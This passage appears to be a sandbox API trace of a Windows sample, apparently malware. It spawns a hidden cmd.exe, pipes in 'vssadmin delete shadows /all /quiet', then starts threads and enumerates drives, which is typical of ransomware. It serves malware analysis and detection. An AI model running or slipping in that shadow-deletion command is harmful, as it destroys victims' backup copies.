	[0178.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.115] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x706568, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0178.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x716570 | out: hHeap=0x6a0000) returned 1
	[0178.116] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x706568 | out: hHeap=0x6a0000) returned 1
	[0178.117] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0178.117] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0178.117] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0178.117] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0178.117] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xfc0, dwThreadId=0xfc4)) returned 1
	[0178.133] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0178.133] WriteFile (in: hFile=0x24c, lpBuffer=0x6e3218*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6e3218*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0178.133] CloseHandle (hObject=0x25c) returned 1
	[0178.133] CloseHandle (hObject=0x258) returned 1
	[0178.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6560 | out: hHeap=0x6a0000) returned 1
	[0178.133] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0178.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3218 | out: hHeap=0x6a0000) returned 1
	[0178.133] lstrlenW (lpString="%comspec%") returned 9
	[0178.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ddb70 | out: hHeap=0x6a0000) returned 1
	[0178.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0178.134] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e3e68
	[0178.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6e3e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0178.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de448
	[0178.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6de448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0178.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3f40
	[0178.135] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3f40, Size=0x20) returned 0x6dd8f0
	[0178.135] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd8f0, Size=0x40) returned 0x6b7988
	[0178.135] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0178.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xd0) returned 0x6bbd30
	[0178.135] GetLogicalDrives () returned 0x4
	[0178.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10014) returned 0x6e6560
	[0178.135] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3e50
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3e50, Size=0x20) returned 0x6dda58
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dda58, Size=0x40) returned 0x6b7d30
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7d30, Size=0x80) returned 0x6e33b0
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e33b0, Size=0x100) returned 0x6e4300
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x200) returned 0x6e4300
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x400) returned 0x6f6580
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f6580, Size=0x800) returned 0x6f6580
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f6580, Size=0x1000) returned 0x6f6580
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6f7588
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6e3fa0
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e3fb8
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de348
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e3fd0
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de3e8
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3fe8
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3e8, Size=0x8) returned 0x6de3f8
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4000
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3f8, Size=0x10) returned 0x6e3e80
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3df0
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3f40
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3e80, Size=0x20) returned 0x6dd968
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4018
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de398
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e4078
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e3e50
	[0178.136] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd968, Size=0x40) returned 0x6b78b0
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e4030
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e3f28
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e3ec8
	[0178.136] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x6e4048
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3e80
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4090
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de3b8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4060
	[0178.137] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b78b0, Size=0x80) returned 0x6e3108
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3e08
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3da8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3ef8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3e98
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e3eb0
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e3f10
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4108
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de358
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e40a8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4120
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e40f0
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e40d8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e4168
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e40c0
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x6e4138
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6e4150
	[0178.137] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3108, Size=0x100) returned 0x6e4300
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x6b84c0
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707878
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7078a8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x7075c0
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7076f8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707740
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de498
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707788
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707620
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7075d8
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6de368
	[0178.137] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707680
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707860
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de378
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707728
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707758
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x7076c8
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707770
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7075f0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7077a0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x707890
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707830
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x707800
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7076e0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707638
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7077d0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7077e8
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de388
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707608
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707710
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707848
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7077b8
	[0178.138] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x200) returned 0x6e4300
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707650
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de3a8
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707668
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707698
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7076b0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707818
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707ba8
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707b30
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707aa0
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707ae8
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707a10
	[0178.138] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707c50
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707d58
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707bd8
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707d10
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707c08
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707c68
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707ce0
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707bf0
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707bc0
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707c80
	[0178.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707d28
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707c38
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de428
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707c98
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707cf8
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x707d70
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de438
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa50
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f9c0
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f8d0
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f918
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb10
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb70
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa08
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb28
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f990
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f8a0
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa20
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fab0
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f960
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f8e8
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f8b8
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f900
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb58
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb88
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f9a8
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f930
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f948
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de2b8
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x6de218
	[0178.269] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f978
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fac8
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f9d8
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa68
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa80
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f9f0
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fb40
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa38
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fa98
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fae0
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71faf8
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fcc0
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fc00
	[0178.270] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4300, Size=0x400) returned 0x71fd78
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fc90
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fcd8
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71fc30
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fbd0
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fc18
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fc48
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71fc60
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fc78
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fd20
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fca8
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de188
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fd38
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71fcf0
	[0178.270] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fd08
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fd50
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fbe8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71fba0
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x71fbb8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f6d8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f810
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f618
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f858
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f690
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f660
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f678
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f738
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x8) returned 0x6de278
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f5d0
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f5b8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f6a8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f708
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f768
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f780
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f6c0
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f5e8
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f600
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x71f7e0
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f630
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xe) returned 0x71f6f0
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f750
	[0178.271] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f7b0
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f870
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f798
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f828
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x71f7c8
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f840
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f648
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f720
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f7f8
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f888
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x71f5a0
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720318
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720450
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7203d8
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720300
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7203f0
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7202a0
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720270
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720210
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x720408
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7201c8
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7201e0
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x720330
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x12) returned 0x6b6610
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7201f8
	[0178.272] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xa) returned 0x7201b0
